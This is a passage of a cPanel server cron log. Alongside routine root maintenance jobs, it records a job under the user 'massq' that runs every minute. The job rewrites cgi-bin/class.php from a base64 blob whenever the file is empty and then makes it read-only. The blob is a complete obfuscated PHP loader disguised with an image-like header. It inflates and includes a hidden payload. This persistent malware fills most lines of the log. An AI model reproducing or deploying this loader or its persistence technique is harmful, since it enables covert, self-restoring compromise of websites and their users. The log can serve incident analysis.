YO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:45:01 server CROND[28326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:46:01 server CROND[29134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:46:01 server CROND[29135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:46:01 server CROND[29136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:47:01 server CROND[29592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:47:01 server CROND[29593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:47:01 server CROND[29594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:48:01 server CROND[29961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:48:01 server CROND[29962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:48:01 server CROND[29963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:49:01 server CROND[30349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:49:01 server CROND[30348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:49:01 server CROND[30350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:50:01 server CROND[30742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:50:01 server CROND[30744]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:50:01 server CROND[30746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:50:01 server CROND[30745]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:50:01 server CROND[30748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:50:01 server CROND[30750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:50:01 server CROND[30752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:50:01 server CROND[30751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:50:01 server CROND[30747]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:51:01 server CROND[31577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:51:01 server CROND[31578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:51:01 server CROND[31579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:52:01 server CROND[31938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:52:01 server CROND[31939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:52:01 server CROND[31940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:53:01 server CROND[32405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:53:01 server CROND[32406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:53:01 server CROND[32407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:54:01 server CROND[330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:54:01 server CROND[331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:54:01 server CROND[332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:55:01 server CROND[722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:55:01 server CROND[724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:55:01 server CROND[725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:55:01 server CROND[726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:55:01 server CROND[730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:55:01 server CROND[731]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:55:01 server CROND[732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:56:01 server CROND[1655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:56:01 server CROND[1656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:56:01 server CROND[1657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:57:01 server CROND[2075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:57:01 server CROND[2077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:57:01 server CROND[2076]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:57:01 server CROND[2078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:58:01 server CROND[2474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
